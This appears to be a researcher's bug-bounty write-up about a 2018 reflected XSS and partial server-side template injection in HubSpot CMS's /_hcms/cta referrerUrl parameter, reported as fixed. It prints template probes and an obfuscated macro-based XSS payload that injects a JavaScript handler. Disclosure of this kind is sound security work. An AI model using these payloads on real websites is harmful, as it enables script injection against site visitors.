Not a member of gistpad yet?
Sign Up,
it unlocks many cool features!
- Title: Reflected XSS + Server-Side Template Injection in HubSpot CMS Affecting Thousands of Websites
- Author: Mohamed Haroun
- Discovery Date: January 2018
- Impact: More than 10,000 websites affected
- ----------------------------------------------------------------------------------------------
- Back in early 2018, while performing a routine security assessment, I discovered one of my favorite bugs ever. The vulnerability affected HubSpot CMS, a popular platform used by thousands of companies to host landing pages, marketing content, and call-to-action (CTA) widgets.
- During my testing, I noticed the path:
- /_hcms/
- This indicated that the page was being rendered by HubSpot’s backend services. After digging deeper, I focused on a specific endpoint:
- /_hcms/cta
- This endpoint included a parameter named:
- referrerUrl
- The parameter was not properly sanitized, which opened the door for two serious vulnerabilities:
- 1. Server-Side Template Injection (SSTI) - Partly
- 2. Reflected Cross-Site Scripting (XSS)
- ---
- Server-Side Template Injection (SSTI)
- Server-Side Template Injection happens when user-controlled input is placed inside a server-side template without proper sanitization. If interpreted as executable code, an attacker may run their own logic on the server.
- To test this, I simply passed:
- ?referrerUrl={{7*7}}
- The server responded with:
- 49
- This confirmed that the input was being evaluated. I tried pushing the limits using template loops like:
- %for c in [1,2,3]%{{c,c,c}}% endfor %
- However, the server blocked some payloads and returned errors such as:
- Malformed escape pair at index...
- Illegal character in query at index...
- Even though full template execution was restricted, the evaluation behavior confirmed the presence of template parsing — a strong indicator of SSTI.
- ---
- Reflected XSS via Template Injection
- With help from Frans Rosén, I was able to break out of the template and achieve XSS.
- Working payload:
- {%25+macro+field(x)+%25}[http://www.com](http://www.com) {{x}} <b>ok</b>{%25+endmacro+%25}{{ field(1)|urlize }}
- Example:
- https://www.example.com/_hcms/cta?referrerUrl={%25+macro+field%28x%29+%25}http://www.com) {{x}}+<b>ok</b>{%25+endmacro+%25}{{+field(1)%7curlize+}}
- This proved that:
- * The template executed macros
- * User input controlled the output
- From there, generating JavaScript execution was possible.
- ---
- Final XSS Payload
- {%25+macro+field()+%25}moc.okok//:ptth//)niamod.tnemucod(trela:tpircsavaj=daolno+gvshttp://http:""//{%25+endmacro+%25}{{+field(1)%7curlize%7creverse%7curlize%7creverse%7curlize%7creverse+}}
- This payload achieved full reflected XSS on HubSpot-powered websites.
- ---
- Affected Websites
- Some confirmed affected websites:
- blog.bugcrowd.com
- cashflows.com
- pages.bugcrowd.com
- However, based on HubSpot’s customer base, the total exposure exceeded 10,000+ websites.
- ---
- Timeline
- 22 January 2018 — Report submitted
- 22 January 2018 — HubSpot Security set priority to P2
- 23 January 2018 — Issue resolved
- Reward: 20 points
- HubSpot’s security team responded quickly and professionally.
- ---
- Why This Bug Was Special
- This bug was one of my favorites for many reasons:
- * It started with a small overlooked parameter in a CMS path
- * It escalated from SSTI partly to full XSS
- * It impacted massive infrastructure at scale
- * It reinforced the importance of sanitizing template inputs
RAW Gist Data
Copied
